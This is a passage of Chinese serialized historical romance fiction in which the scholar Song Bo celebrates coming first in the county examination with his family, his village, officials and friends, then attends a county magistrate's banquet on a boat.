这次江金熙换了二两银子,比在银湖州换的多了一倍,银湖州领赏钱的都是陌生人,发一点儿意思意思就可,而近里村的村民们可是实打实的邻居,自然得多发些。 上年水灾,村中人一条心,事儿过后大伙儿都对宋泊有了改观,现下的宋泊在村中的名声可是一点儿也不臭了,走在村道上还会有人主动与他打招呼。 马车行进速度自比牛车快些,下午夕阳斜着,宋泊和江金熙回了村。 听着门口有马蹄和车轮碾压的声儿,宋茶栽从房里出来,瞧着熟悉*的马车,她快步迎了上来,“可是宋泊和金熙回来了?” 江金熙撩开车帘,唤:“大姑!” “欸!”宋茶栽应声,她抬了手,把江金熙从马车上牵下来,宋泊跟在江金熙后头,长腿一跨下了马车。 宋茶栽说:“不知道你们这么早便回来,准备的菜不够,我赶紧去再烧两个菜” “加什么菜呀,随便吃吃就好啦。”宋泊说。 “那哪儿成。”宋茶栽看了宋泊一眼,“你皮糙肉厚无所谓,我们金熙可得吃些好吃的。” 宋茶栽拉着江金熙进屋,让江金熙好好坐着休息,宋泊被她叫着进了厨房帮忙。 江金熙哪儿乐意别人忙着自己却闲着,他也跟着进了厨房,帮着打下手。 宋茶栽炒着菜,厨房中火气正盛,锅铲翻转之中,香气和着锅气一块儿飘散出来,可是香得诱人。 加两个菜不过一会儿功夫,宋泊把做好的菜全都端到厅中圆桌上,刘南民也在这时从田中回来。 大老远便问着自家院子飘来的香气,刘南民把农具往院子中一搁,高声喊道:“阿栽,今日做什么菜,这么香。” 宋泊从房内探出脑袋来,“姑父。” “哟,这么早便回来了?”刘南民在院子里的水缸中舀了一点儿水洗手。 “我说今儿个怎么有肉香,原来是你们回来了。”刘南民从厨房里拿出他藏着的酒走出来,“不知道你们什么时候回来,这肉和酒都给你们备着呢。” 宋茶栽和刘南民都知道宋泊和江金熙这次院试考完以后可得回家,不论宋泊上榜、落榜,小辈回家长辈哪有亏待的道理,于是昨儿个一早,宋茶栽听着村中有人杀了猪,便去买了些肉儿回来存着。 宋泊抬手接过刘南民手中的酒,直道:“那可是我们赚着了。” 阿朝本来想去厨房自个儿吃饭,却被宋泊喊了回来,同他们一块儿上桌吃饭,这下五人坐在一桌,不松不挤正热闹。 饭桌上最是容易说事儿,两口米饭下肚,宋茶栽这才道:“说吧,这次院试什么结果?”天知道她刚刚憋得有多辛苦,她这急性子早按捺不住了。 宋泊忽然起了调皮的性子,故作低沉道:“不太好。” “不太好是?”宋茶栽看向江金熙。 江金熙跟宋泊在一起这么久,这点儿默契还是有的,他跟着应道:“嗯就是有些超出预期了。” 听两人的声音一个比一个低,宋茶栽便觉着事儿不妙,不过院试哪儿是那么容易便能过的,自家侄儿得了个县试案首已经是很厉害了,她给宋泊和江金熙各夹了一筷子菜,安慰道:“不过一次院试而已,没事,我们下回再去就是了。” 宋泊紧紧呡了下唇,想笑的情绪受不住,他只能低着头掩饰笑意,一笑肩膀颤抖,宋茶栽还以为他在哭。 “哭什么呢,男儿有泪不轻弹,这次失意下次再战就是。”宋茶栽道。 刘南民坐在宋泊身侧,而宋茶栽坐在宋泊对侧,看表情没他这儿看来清晰,刘南民瞧着宋泊的上扬的嘴角,顿时明白他们是在逗宋茶栽玩儿,他便毫不留情地拆穿道:“他可一点儿没哭,嘴角都快咧到天上去哩。” “怎么回事?”宋茶栽愣了。 宋泊再也忍不住,抬头大笑起来,江金熙瞧着他笑,他也憋不住了,跟着一同笑起来。 “到底怎么回事?”宋茶栽见两人这副模样,心底期待的小苗儿重新复苏。 “确实是超出预期了。”宋泊敛了笑意,“是院试榜首。” “噢,考上了就?”宋茶栽呆了,“你说什么?” “我说我是院试榜首。”宋泊耐着性子重复一遍。 这回宋茶栽听了个真切,她筷子中夹着的肉都从筷子缝中落了下去,她让刘南民捏她一下,刘南民也没下重手,只轻轻一捏,宋茶栽这才相信自家侄儿出息了,头次院试便夺得一个榜首。 “好小子!刚刚还骗我呢?”宋茶栽嘴上虽然骂着,可是脸上却是笑意满满。 “可没骗哦!”宋泊给自己狡辩着,“我俩都没说实呢,是你自己猜的哦。” “好啊你!”宋茶栽道。 宋泊抬手做拜拜状,“好啦大姑,看在我得了榜首的份儿原谅我这次吧~” “原谅你。”宋茶栽也没真生气,她给两人布菜,“可多吃些,得榜首可是辛苦得很,别给累瘦了。” 第105章 第一百零五章宋里正道贺。 宋泊和江金熙在宋茶栽家中吃了个尽兴,直到亥时中才回了家。 院试考中可是件天大的好事,这意味着农户往官宦方向终于踏出了实质性的一步。 县试和府试过后只是有了个童生的名儿,并无实际特权,而成了秀才,那可是多了不少特权。 恒国秀才可以免除一家徭役和一成赋税,官府还会给秀才一些补贴金,到时考生上京考乡试的路费,也由州府出。 这些都是些物质上的奖励,精神上还有着见官不跪、不受刑讯、诉讼优势的特权。 为何科举如此受百姓们喜欢,便是因为这些特权。 江金熙将银湖州给宋泊的银票和地契打开来,银票金额为三十两,地契是位于霞县的一处五亩地,会选择霞县的地,也是考虑到宋泊在霞县县学读书,没个地儿不好落脚。 “州府可真是大手笔。”江金熙将两张纸重新折好收好,一般秀才的补贴金在十两到二十两不等,也没有地契可分,知州会发给宋泊地契,完全是瞧着宋泊两次榜首的名头,得到一个县试榜首可以说是走了大运,那再得一个院试榜首,可就是实力的象征了。 宋泊现在是争夺乡试榜首的绝佳人选,知州自然得护着这个苗子。 “得了个榜首我可是赚了大钱了。”宋泊笑道。 不知路砚知家中生意究竟多大,路砚知给他的谢礼足有五十两,对寻常农家百姓来说,这可是笔巨款了,再加上银湖州给的三十两,他现在可有八十多两,这些钱足以他自力更生花到乡试。 “还不止呢。”江金熙从怀中掏出一张银票,前头他去传福镇换钱的时候,顺便将自己存在钱庄里的钱拿了出来,他把银票放进宋泊手中,道:“这是我送你榜首的礼物。” 宋泊拿来一看,是一张五十两的银票。 好嘛,这下彻底赚了个大钱,得了个榜首便换得了一百三十两银子。 宋泊将所有钱都推到江金熙手中,“你的礼物我便收下了,”他睁圆了眼,扮着可怜,“只是这些银两可否由你帮我保管呢?” “为何?”江金熙问。 “我怕我有了钱,花钱大手大脚,没几日就花光了去。”宋泊道。 其实宋泊本人并不是个花钱没计划的人,只是他想江金熙帮他管钱,就只是这个想法而已。 恒国男人多少有些大男子主义,这些人好面儿,从不会让自家哥儿和女子管钱,这事儿被外头人听着,可得被说闲话的。 江金熙看着桌上的银票和银子,问道:“你真要我管呀?” “真的。”宋泊双手放于桌上,庄重地点头,“每月给我些饭钱、文具钱就行。” “那好。”江金熙乐意揽这样的活儿,帮宋泊管钱,他高兴得不行。 江金熙从路砚知送的红色锦袋中拿出五两交给宋泊,“这些钱你先拿着,不够再与我说。” “好。”宋泊答应着,把五两银子放进自己的钱袋之中。 江金熙抬手,拦住宋泊想往怀里收的手,他拿过宋泊的钱袋,这钱袋干净,却因为用得久了有些泛黄,自两年前宋泊送他钱袋以后,这钱袋就没换过,也是质量好,用这么多年还没破掉,宋泊也懒得换便得过且过地用着。 “等回了镇,我要将你这个钱袋换了。”江金熙道。 今日不比往日,身份发生改变相应的用物也得发生变化,往后出去从怀中掏出个用烂了的钱袋,宋泊可能不在乎,可江金熙得为了他的面子着想。 “都听你的。”宋泊道,他本身就对自己的用物没什么太大的想法,只要能用他便能一直用着,直到用坏了,他才会去买个新的。 江金熙正好弥补了他这方面的缺失,官场上的事情江金熙比他懂得多,出门在外的身份是自己给的,江金熙便能完美帮他造好这个身份。 宋泊考上中榜首,宋茶栽高兴,所有到宋茶栽那儿看病的村民都得了宋泊高中的消息。 巳时初,宋泊和江金熙去往宋茶栽家时遇着不少村民,人人见着他都脸上带笑向他道喜。 江金熙准备的铜钱有了用武之地,与宋泊说过贺词的人,他每人给了十铜钱,没想着说几句好话便有十铜钱拿,大伙儿更开心了,纷纷说宋泊就是天生的科举料子,以后必然大有可为。 宋泊一路道着谢,江金熙便一路发着钱,村中居民到底不多,他们也才遇着个十来人,准备的两千铜钱到了宋茶栽家才花了不到十分之一。 宋茶栽正看完一个病人,道:“今儿个我高兴,不收你诊钱。” “可是发生了什么好事?”病者问。 “大姑。”宋泊和江金熙在这时儿跨入厅内,宋茶栽瞥了宋泊一眼,与病者说道:“瞧,我家榜首来了。” “榜首?”病者转头过来,朝宋泊贺道:“恭喜恭喜,这般年轻便得了榜首,真是前途无量啊!” 听着贺言,江金熙又捞了十铜钱出来赠与病者。 病者拿了钱,笑道:“我还是头一次看了病还有钱拿,沾着这榜首的喜气,我觉着我脑袋都没那么晕了。” “得了,哪儿那么厉害。”宋茶栽从椅子上起来走到药柜前,熟练地把草药从各自的柜子中拿出来,“该吃的药还得吃。” 江金熙见包药就手痒,他上前帮着宋茶栽,两人一下就把四包草药给包完了。 “拿去,吃了药记得晚上早点儿睡。”宋茶栽把药包递与病者,病者拿着药走了,临走前还跟宋泊、宋茶栽他们说了几句好话,大伙儿都高兴。 午时,又送走一波前来道贺的村民,宋泊、江金熙和宋茶栽才有了短暂的歇息时间。 宋茶栽闭了门,如此可以挡去一波村民,等午休过后回了劲儿,再把门重新打开迎人。 门外响起敲门声,而后便听着宋里正在外头喊着:“宋大夫,宋泊可在这儿?” 宋里正来了,宋茶栽又开了门,“宋泊在呢,里正可有什么事儿?” “宋泊得了榜首,我便来贺喜来了。”宋里正说。 宋里正用词准确,没用上听闻这类词,应是官府的消息传了下来,他得了确切的消息。 “是呀,爹爹来贺喜啦~”宋灵铃跟在宋里正身后,探出个脑袋说着。 许久未见江金熙,她可是非常想念,没想着这次不仅能见着江哥哥,还听着宋泊有了个这么好的消息,她的江哥哥还是眼光好,能在沙中淘金。 宋茶栽瞧着宋里正带了一堆人来,她便往屋内喊了一声,宋泊和江金熙从房内走了出来。 宋泊到了门口,才知道是宋里正来了。 “宋里正。”宋泊弯腰行礼。 现下宋泊得了秀才,地位与宋里正大差不差,宋里正赶紧回了一礼,“宋秀才客气。” “不知里正来,可是有何事?”宋泊问。 宋里正拍了拍手,身后跟着的人将贺礼拿了出来,村中贺礼比不得镇上、县上,于是宋里正便转了个思路,送宋泊一些新鲜食材,村中出品无任何添加,并且一熟既摘,可谓是新鲜中的新鲜。 宋里正先送了一头猪,随后又送了不少青菜、鸡蛋,最后一个红盘上才放着五两银子。 与银子相比,那头猪才是重头礼,在村中能拿出一头猪送人,收礼之人定然身份不低。 “里正可是客气了。”宋泊瞧着宋里正拿来的食材,把这些东西一备,少说一个月不用出去买菜、买肉了。 宋里正上前两步拍着宋泊的肩膀,“你成了榜首,村子也跟着沾光,这点儿礼算不得什么。” 宋里正送的礼代表了近里村,宋泊不好不收,他让阿朝帮着村民把东西收进去,而后再与宋里正行了一礼,“多谢里正,宋泊定不负里正期待。” “得了秀才已是不易,别逼得自己太紧。”宋里正道。 虽说宋里正也想宋泊过了乡试成为举人,这样作为宋泊籍地的近里村也能进到官家眼中,但是宋泊毕竟年轻,过刚易折,宋里正深知这个道理,便不予宋泊太大的压力。 “多谢里正。”宋泊再道。 宋里正送了礼就走了,宋茶栽虽有挽留他们留下吃饭,可宋里正还是以有事为由走了。 宋灵铃倒没跟宋里正一块儿走,她跟着宋泊他们一块儿进了屋。 “江哥哥,好久没见我好想你呀。”宋灵铃挽着江金熙的手臂撒娇道。 许久未见,江金熙变得更漂亮了,宋泊好像又高了一些些。 “我也想你。”江金熙摸了下小丫头的头。 宋灵铃把江金熙拉到一旁儿,小声地在江金熙耳边说着:“我知道宋泊得了榜首,江哥哥定然高兴,我这次也不是空手来的,我带了礼儿。” “噢?”江金熙有些意外。 宋灵铃把自己手上拎着的手袋直接送给江金熙,“我买了制作香囊的材料,我想江哥哥可以亲手做个送给宋泊,就当是我送的贺礼了。” 江金熙先是愣了一下,随后笑道:“你的谢礼,为何由我来做。” “我也不知道宋泊喜欢什么,但我知道只要是你做的,宋泊肯定喜欢。”宋灵铃靠在江金熙的肩膀上,调皮着说道:“贺礼总要送到人心坎才是。” 江金熙伸手用食指点了下宋灵铃的鼻头,“你个鬼灵精怪的小丫头。” 第106章 第一百零六章捷报官。 宋泊和江金熙在近里村待了三日,随后才返程回传福镇,还顺带捎上了宋茶栽拆好的半头猪。 一头猪实在不好处理,在他俩的帮助下,宋茶栽耗了两日才把猪处理好,为了尽早将猪肉吃完不至于臭了去,宋茶栽顿顿做肉,往日一周吃三次荤,现下每日吃两次荤,可真是过犹不及,有些腻人。 路道平整,马车行着并不颠簸,宋泊撩开车窗帘透气,说:“等会儿我们去趟李五家,这肉只靠我们五人可是吃不完。” 江金熙欣然答应。 宋泊他们回了宋宅,刚把半边的猪放好,拎着另外半边要出门,门口便传来了敲锣打鼓声。 简言先把大门开了条缝儿,瞧清楚外头是什么情况以后,把大门儿关上与宋泊和江金熙报了信后,才把大门敞开来。 为首的捷报官瞧着开门的是个孩子也未惊讶,毕竟富贵人家用些童子当侍人也实属正常,他笑着弯腰问简言:“这可是宋榜首的宅子。” 简言有些发愣,这官差队伍可不小,捷报官身后跟了八个人,八人手中都拿了东西。 “这可是宋榜首的宅子?”捷报官耐着性子又问了句,这句才惊醒简言,简言忙点头,回着捷报官:“对,我家、我家主君和郎君已经在过来了。” 正说到宋泊和江金熙,他俩便走过院子来到门口。 宋泊朝捷报官行了一礼,夸道:“捷报官大驾,可是宋泊的荣幸。” 江金熙跟在宋泊身侧,优雅地也行了礼,“见过捷报官。” 青桥站在江金熙身后微微倾身,他手里抱着一袋铜钱,这些是江金熙回村没用完的零钱,正好可以在这个时候用上。 “宋榜首和江公子说的什么话,今儿个我能来给你们报喜,才是我的福分呢!”捷报官笑着说道。 江金熙回头瞥了青桥一眼,青桥先将钱袋放下,而后走到捷报官身边,拿出用红色锦布包着的银两,递与捷报官。 报喜的家中有识礼之人办事起来就是令人愉悦,捷报官假意推托两次,才说着“这哪儿合适”把红包给收了。 收了钱就得替人办事,捷报官抬高了声量:“恭喜宋泊得了院试榜首,你可是我们传福镇之骄傲。” 捷报官的声量之大,在门口看热闹的百姓全都听的一清二楚,几声抽气声后,响起震耳的恭喜声。 捷报官抬手,身后一位官差端着红盘往前走,捷报官掀开盘子上头盖着的红布,亮出盘上放着的文书。 “宋榜首,这是你的文书,往后身份上有了秀才两字,可是前途无量呐。”捷报官边说着喜话边把文书拿了起来。 宋泊抬起双手,接过文书,道:“多谢捷报官。” “等会你若瞧着有什么问题,便寻去县府就是,我们会竭尽全力给你解决的。”捷报官道。 镇中的秀才都是重点关注对象,更别说宋泊这个院试榜首,自是要当个明珠一般,小心爱护着。 “是。”宋泊道。 送完文书,接着便是送礼,捷报官拍两下手,身后的官差纷纷掀开盖在红盘上的红布,这些贺礼并不只有传福镇的贺礼,还有霞县送来的贺礼,下到吃穿住行、上到读书用具,这些贺礼几乎全包了。 边儿的百姓瞧着那些贺礼眼都直了,没想到官府出手如此大方,真叫他们羡慕。 “都抬进去,按宋榜首说的放好。”捷报官一声令下,官差将东西抬进了屋,宋泊也没让他们抬去哪儿放,只让他们搬进院子里放着就行。 “对了,三日后林县令设了宴,在碧河之上,请宋榜首于酉时中准时赴宴。”捷报官道。 “多谢。”宋泊再道。 眼瞧着捷报官说了话就要回去,江金熙出言道:“捷报官可喝杯茶再走?” “不了,我还有事儿未做,下次吧。”捷报官笑着拒了,带着浩浩荡荡的一行人走了。 官差们走后,百姓们迎了上来。 这宋榜首的夫郞瞧着便是个明事理的人,上前祝贺许能得到些赏钱,便有大着胆子的百姓上前,他们也没读过什么书,只能说些宋榜首以后发大财,做大官之类的话,江金熙听着高兴,他喊青桥再去钱庄换些铜钱来,他便拿着钱袋打赏那些前来祝贺的百姓。 见说了好话就有钱拿,越来越多百姓上前,把宋泊和江金熙围了起来。 八月的天热人得很,两人被围着额头上冒了不少汗珠,却没一点儿烦躁,阿朝怕百姓们把自家主子伤着,便抬手拦在两人前头,也算做了个阻隔,把江金熙和宋泊两人与百姓们分开。 江金熙把第三袋铜钱分完后,便让简言合上了宋宅大门。 喜事归喜事,这赏钱也不能永无止境的发下去,那不就被当成冤大头了吗?再说他已经换了五两银子,五两银子都赏了出去已经足以。 “可真是热人。”宋泊抬手抹了额头上的汗,八月的太阳确实毒辣,在门口热闹了半个时辰,他背后的布料早已湿透,脱下来拿手一拧都能拧出水来。 虽说江金熙的身体比他寒些,但被百姓们那么围着,他身上也出了不少汗。 两人忽的对视一眼,而后都笑了起来。 “这喜事也是累人。”江金熙道,这才院试,往后还有乡试、会试甚至殿试,前来迎贺的人只会越来越多,次次这般辛苦可真是苦并快乐着。 两人断不可能一身臭汗着出门,索性午时是最热的时候,不如躲了这毒辣的太阳,下午太阳落下之时再去找李五。 江金熙在宋泊前洗了澡,等宋泊回到主卧时,他正在清点着捷报官送来的东西。 平民百姓家没钱买大冰块放在屋中消暑,便只能用扇扇子的方法来解解热。 宋泊拿了一柄葵扇,站与江金熙边儿给他轻轻扇着风。 江金熙放下记东西的手,拉住宋泊的手腕,“我不热,你不用为我扇风,等会再给你热出一身汗来,澡岂不是白洗了?” 宋泊凑到江金熙身侧,这般一扇,风便可扫过两个人,“我也能感受着点微凉,不会一身汗的。” “我们真该买些冰来了,这天儿真是越发热了。”江金熙说。 制冰不宜,故而冰块的售价很高,不过现下他们又有从传福镇和霞县送来的八十两银子,也是能适当地买些冰块回来凉爽一把。 天气热导致出汗时其次,更重要的是汗干了黏在身上,总叫人心生烦躁。 县学九月开学,期间宋泊总得在家中读书,比起给宋泊热得心神不宁,江金熙还是跟愿意花上一笔钱买些冰块。 “你说的是,等会儿去找李五,我们便顺便去趟冰行吧。”宋泊道。 今日不同往日,既然钱包富裕,让府上人过上好日子也是他作为一家之主应当做的。 江金熙就在微风中点了贺礼,除去八十两,官府还送了文房四宝一套、锦布两匹、与科举有关的书籍十本,加上些蔬菜、肉类的食材,已然是出手大方了。 点完贺礼,江金熙犯了困上床歇息,宋泊便拿着书坐在他身侧,两人一睡一醒,安静中萦绕着温馨。 下午,太阳渐渐西偏,树的影子被拉长,气温降下去不少。 江金熙翻了个身抬着双手双脚伸了个懒腰,缓缓睁眼,“几时了?” 宋泊轻轻又翻了一页书,答:“申时中了。” “呀,我怎么一睡睡了这么久。”听着宋泊说的时辰,江金熙都愣了。 往日他午睡都只睡半炷香的时间,今日不知怎的竟足足睡了一个时辰,定是宋泊在他身侧让他安心,他才能一睡睡这般久。 “睡便睡舒服了,反正我们也不急。”宋泊微微侧低头,撩开江金熙挡在脸上的发丝,“可睡得舒服?” “嗯。”江金熙抓着宋泊的手放在自己的脸侧,宋泊的手可真大,一手便能抚住他整个侧脸,江金熙抬眸,“你不累吗?怎么都不歇会儿?” 刚刚他入睡时,宋泊便是这么个靠墙看书的姿势,现在他醒了,宋泊只换了个腿的姿势,还是依旧拿着书在看。 “在县学里都呆习惯了。”宋泊答。 县学没有安排学子午休的时间,学子们吃了饭就会回学堂之中继续学习,要是实在累得不行就趴在桌上小憩,小憩确实小憩,不过一刻钟便会从桌上起来,接着投入学习之中。 考乡试可是全国的秀才一起,录取上榜人不过百分之一,不努力读书哪儿能博得个上榜的机会。 江金熙只是听着便觉着宋泊苦,他心疼地双手牵着宋泊的手,“可真是苦了你了。” “为了我们的以后,我现在的辛苦是值当的。”宋泊将书反着盖在一旁,身子往下一滑,环抱着江金熙,两人面对面看着。 只这一眼,两人越来越靠近。 宋泊揽住江金熙的腰,一吻吻上他的唇,江金熙的唇软得令他着迷,院试已过,该满足一下自己的贪欲。 江金熙双手从前穿过宋泊的腋下环住他的后背,两人之间已无距离,以往都是宋泊伸舌而来,这次他主动迎了上去,两人口中纠缠着,身体也起了些反应。 江金熙觉着身体热,便腾出手来扯了扯衣裳,宋泊醒了过来,他松开江金熙,“我去浴房醒醒神,”口中慌忙都差点咬了舌头。 看着宋泊落荒而逃的模样,江金熙拿着被子遮住自己羞红的脸,心中升起一丝可惜,不过就是宋泊行的君子之事,才会让他坚定自己就是这个人了。 第107章 第一百零七章赴宴。 等宋泊和江金熙的情绪缓和下来,金黄色的阳光越发橘了,没再耽搁下去,两人出了宅门。因着四分之一的猪也有些分量,所以他们叫上了阿朝,有阿朝帮忙,三人各自拎着些猪肉,也不显得重了。 宋泊熟门熟路地找到李五家门口,将右手的东西放置左手,腾出只手敲门。 “来啦。”院内响起李会书的声音,李会书这年纪正在换嗓,说话声与以往有些不同,有一点点与鸭子声相似。 李会书拉开院门,瞧着门口站着的人欢呼出声,“宋叔叔!江哥哥!还有这位”李会书第一次见着阿朝,不认识阿朝是自然的,他求助般地看着江金熙,两眼圆圆似鹿眸。 江金熙见李会书撒娇,他抬手遮着嘴笑了下,而后与李会书介绍着,“这是家里马夫,你叫他朝叔就行。” “朝叔。”听了江金熙的话,李会书乖巧唤了声。 阿朝话少,听到李会书唤他只是点了下头,算是答应了。 “你爹爹和娘亲呢?”宋泊往院内望去,家中看来不像有其他人在的样子。 “爹爹去上工了,娘亲去卖豆腐。”李会书算了下时间,“娘亲应当马上回来了。” 正说着,阿篮卖完豆腐回来了,远远瞧着自家门前围了人,她加快了脚步,靠得近了才发现是宋泊他们。 “来了怎么站在门口呢?”阿篮说着,剐了李会书一眼,“会书你就是这么待客的?” 李会书接着阿篮的眼神,忙侧身让位,“对呀,我怎么拦门口了,你们快进来。” 江金熙让阿朝帮阿篮把豆腐车拉进来,五人进了院子,李会书把院门合上。 阿篮刚理好豆腐车上的东西,一转过头,宋泊提着猪肉与她说道:“家中收了头猪,想着也吃不完便拎了些来,你们可别嫌弃。” 阿篮识得好肉是何种模样,宋泊拎来的这块肉肥肉相间、纹理分明,一瞧就是好肉,她推着肉,说:“怎么又带东西来呀,上次便说着不用这么客气了。” 宋泊那儿拎的只是一小部分,江金熙直接喊阿朝把肉放进厨房中,“嫂子,排骨放你厨房咯。” “诶。”阿篮既要拦这个又要拦那个,两厢之下就是谁也没拦住,“要我收肉,那今晚你们可得留下来吃饭。” 无功不受禄,虽说她家与宋泊家亲如一家,可到底不能总收人家东西,总得回馈些。车上豆腐都已经卖光了,家中也没留什么东西可以当回礼,阿篮思来想去,想着做一桌好菜也行。 “那自然好。”宋泊道。 吃完饭回去就很晚了,江金熙怕冰行关了门,便让阿朝去冰行买冰,他给阿朝定了价位,超过便不要,未超过就买些回去用着。 阿篮是个下厨的好手,她一个人在厨房中忙碌着,没一会儿便飘出了菜香。宋泊和江金熙想进去帮忙,都被阿篮赶了出来,无法,宋泊和江金熙只能到李会书的房中,看看他功课学得如何。 自上次自己落榜,宋叔叔得了案首以后,李会书便发愤图强,将宋泊当成自己的榜样,每日读书时间多加一个时辰,并且会将宋泊留下的书籍翻来覆去背过,直背到任意问个地方他都能答出来,这才满意。 宋泊随便问了几个问题,李会书都对答如流,宋泊道:“不错呀,进步不小。” 李会书不好意思地挠着后脑勺,“这还未到宋叔叔的五分之一呢。” “明年没有县试,你可沉淀沉淀,下次一举上榜。”江金熙道。 县试三年两次,昨年和今年都举行了县试,明年只会轮空,正好给了李会书安心读书的机会。 “是,我定好好与宋叔叔学!”李会书说道。 三人在房中待了两刻时间,阿篮把饭菜做好了来,李五下了工回到家,发现宋泊和江金熙来了家中,可是欣喜了一阵。 饭桌上,李五直与李会书说,“你宋叔叔可是两试榜首!你可别丢了你宋叔叔的面儿。” 今儿个李五上工时听着消息,说是传福镇出了个院试榜首,他再打听来,才知道是宋泊。 打听着这个消息他正想买些礼物明日寻宋泊去,却没想着宋泊快他一步,早些来了。 “什么?!”李会书彻底惊讶了,他常窝在家中读书,对外头的事儿一律不知,没想到宋泊不仅是县试案首,还是院试榜首,当真是个非常厉害的人。 “我也听着了,宋弟确实厉害。”阿篮跟着道。 阿篮在街上摆摊,遇到的百姓自然少不了,有从宋泊那儿拿了赏钱到她豆腐车前买豆腐的百姓,他们嘴上聊着,阿篮也就顺耳听了,她家夫君居然能认识着这么个了不得的人物,真是他们家烧了高香了。 “嗨,没那么厉害。”宋泊谦虚着回道。 李五吃着饭忽然想起贺礼这事儿,“你来这么早,我都没给你备贺礼呢。” “还需什么贺礼呀,不用。”宋泊说。 这几日光收礼便收到手酸了。 “那哪儿成。”李五道,院试榜首这么大的喜事,他作为宋泊的好兄弟怎么会不备上一份贺礼,且不说贺礼价值多少,就是这份心意得在。 “我想着嫂子做的豆腐,不如送我几块新鲜豆腐*就成。”宋泊说。 手工做出来的豆腐总是口感不同,上次宋泊拎了豆腐回去煮了鱼汤,那豆腐入口即化好吃极了。 李五揽着宋泊的肩膀哈哈笑道:“成!给你送一车去!” 宋泊和江金熙在李五家待了一晚上,把李会书的功课说了,酒也喝了个尽兴,回到家时迎接他们的又是个冰凉的卧房,可谓度过了个幸福的一天。 翌日,江金熙叫来了阿朝,问他昨日的冰买了多少。 那冰行不愿意放过阿朝这个大顾客,便由着阿朝砍价,本来一斤二十钱的冰,硬是被阿朝砍到了十七钱一斤,这价儿正在江金熙的预算当中,不算贵可以多买些。 阿朝让冰行每日送二十斤的冰来,主要是用在主卧房内,其他人每日只用得了两斤冰。 问了冰的事后,江金熙便带着青桥出了门,临走时与宋泊打了声招呼。 宋泊坐与书房内读书,听着江金熙的话便应了声“嗯”。 江金熙自有他的自由,出门只要说一声不至于找不着人就行。 不过江金熙这门儿一出便出了一天,开始宋泊还以为他去愈馆上工了,可晚了出去寻人才知道江金熙请了半月的假,为的就是陪着宋泊参加院试。 等宋泊再回家时,江金熙已经带着青桥回来了。 “你去哪儿了?”宋泊问。 “我去李五家了。”江金熙答。 “你去哪儿做什么?”宋泊再问。 “你不是喜欢嫂子做的豆腐,我便想去学学。”江金熙答着,眼神中有一丝丝闪躲。 去李五家应是真的,但理由可能是假的,宋泊抓着这一丝变化,也没问江金熙。 毕竟还有青桥陪着,应该不是做什么坏事。 第三日,江金熙又是吃了早饭便出门。 宋泊心中虽然有几分好奇,却也没当个跟踪狂跟着江金熙去,江金熙该有自己的空间,他静下心来,在书桌前认真学习,有了每日从冰行送来的新鲜冰块,书房的温度降了些,正合适读书。 晚饭前,江金熙赶了回来,像是有了个时间表,准时出门又准时回家。 第四日,宋泊按着捷报官所说的时间出了门,那时儿江金熙还未回来,他便交代着简言,若是江金熙回来了就跟他说他出门赴宴了。 到了碧河前,河上停着一艘足以容纳百人的巨型船,船停靠在河边,搭了个木梯子往船上。 船口前站了不少官员,边儿还围着百姓,听闻今日林县令宴请新晋秀才,他们都想看看秀才们长什么模样,便都来凑热闹了。 “宋榜首。”捷报官也在官员行列当中,他朝宋泊行了一礼。 捷报官既负责送贺礼,自去过每个秀才家,识得每位秀才,故而被安排在门口,引导秀才们上船。 “捷报官。”宋泊抬手回礼。 “宋榜首可直接上船,船上位置不固定,你可随便选择。”捷报官侧身给宋泊让位,宋泊顺利地上了船。 今年传福镇的新晋秀才并不多,按宋泊所知加上他也就只有五人,包下这么艘大船,应是有其他人一起参宴。 刚在船上走动两步,便遇着秦闻,秦闻是传福镇中有名的人物,林县令此次也邀请了他。 秦闻见着宋泊便是一声贺,“宋公子,恭喜恭喜。” “多亏秦老板给的书以及对于科举的指点,宋泊才能一举夺魁,得到榜首。”宋泊道。 秦闻确实帮他很多,他在几十年前参加过科举,甚至过了殿试,具有丰富的实战经验,几十年前的科举与现在相差不大,秦闻参加科举的经验还用得上,这次宋泊能考中榜首,自身学识占八十,其余人的帮助则占了二十,而这二十中,秦闻占了大头。 “哪里,都是你聪慧,才能考得榜首。”秦闻说。在他百书阁上工的抄书先生哪个不想考中,可日夜熏陶下来,也就只出了宋泊这么个独苗,教的内容相同,而结果不同便是因为人不同,宋泊是他开店以来见过的最有灵气的人,往后的恒国官场上定会多出一颗耀眼明星。 “爹爹,船头风景可好了,还能瞧着鱼。”秦令的声音由远及近,看清与自家爹爹说话的人是谁以后,他的脸色一下就变了,“宋泊,你怎么在这?” 第108章 第一百零八章作诗。 秦闻拍了秦令一把,厉声道:“没礼貌!叫宋公子。” 看着秦闻的面儿,秦令不情不愿地说了句:“宋公子。” “秦老板把令郎也带来了。”宋泊道。 秦闻有名声,林县令邀请他是自然,而秦令只是个不学无术的秦闻之子,应是秦闻带他来一起赴宴的,毕竟林县令也未说过不许带家人。 “今儿个请的是新晋秀才,犬子才学不精,我便想让他前来学习学习。”秦闻道。 虽说秦令一直考不中,但是秦闻也没打算放弃秦令,今日有个与秀才们接触的机会,秦闻便带着秦令来了。 “秀才?你也是秀才?”秦令鄙夷道,这几日他都在宋申闻家中,只知道宋申闻中了秀才,听说镇上出了个榜首,也不知那榜首是谁。 “宋公子是秀才之首,你可得与他学习。”秦闻道。 秦令双眼瞪得老圆,像是不相信自己耳朵一般,他转过头,说:“爹,你说什么?” “我说宋公子是院试榜首,你要向他学习。”秦闻把话重新说了一遍。 “你是榜首?”秦令转回头来,瞧着宋泊。 宋泊点头。 秦令觉着自己的天塌了,不过一个抄书先生,得了县试案首已是撞大运,现在竟还得了院试榜首。 有院试榜首这个名头在,宋泊的名头可是打了出去。 秦令无法接受这个事实,他没有再与宋泊说什么,而是拉着秦闻走了。 宋泊倒是无所谓秦令的反应,一个心智没长大的孩子没什么好计较的。 宋泊走至船边站着,难得上了大船,可得瞧瞧河上的风景。 船上有微风吹过,带着水汽的微凉自宋泊身上拂过,带走了八月的燥热。阳光撒在河面上,倒映着波光粼粼,令人不自觉安了心神。 可惜江金熙去了李五家,不然他定要把江金熙带来,让他也瞧瞧自然的美景。在外头待了会儿,有侍人来请,宋泊才跟着侍人进了船舱之中。 今天个不是大桌饭,每个人都有一个独立的座位,侍人引着宋泊入了座,他在院试榜上排名最高,宴席中的位儿自然得往前摆,在林武玉上座的左边除官员外的第一位。古人以左为尊,将这个位置排给宋泊,体现了林武玉对宋泊的重视。 宋申闻也在宴席上,不过他坐于右位,与宋泊有段距离。 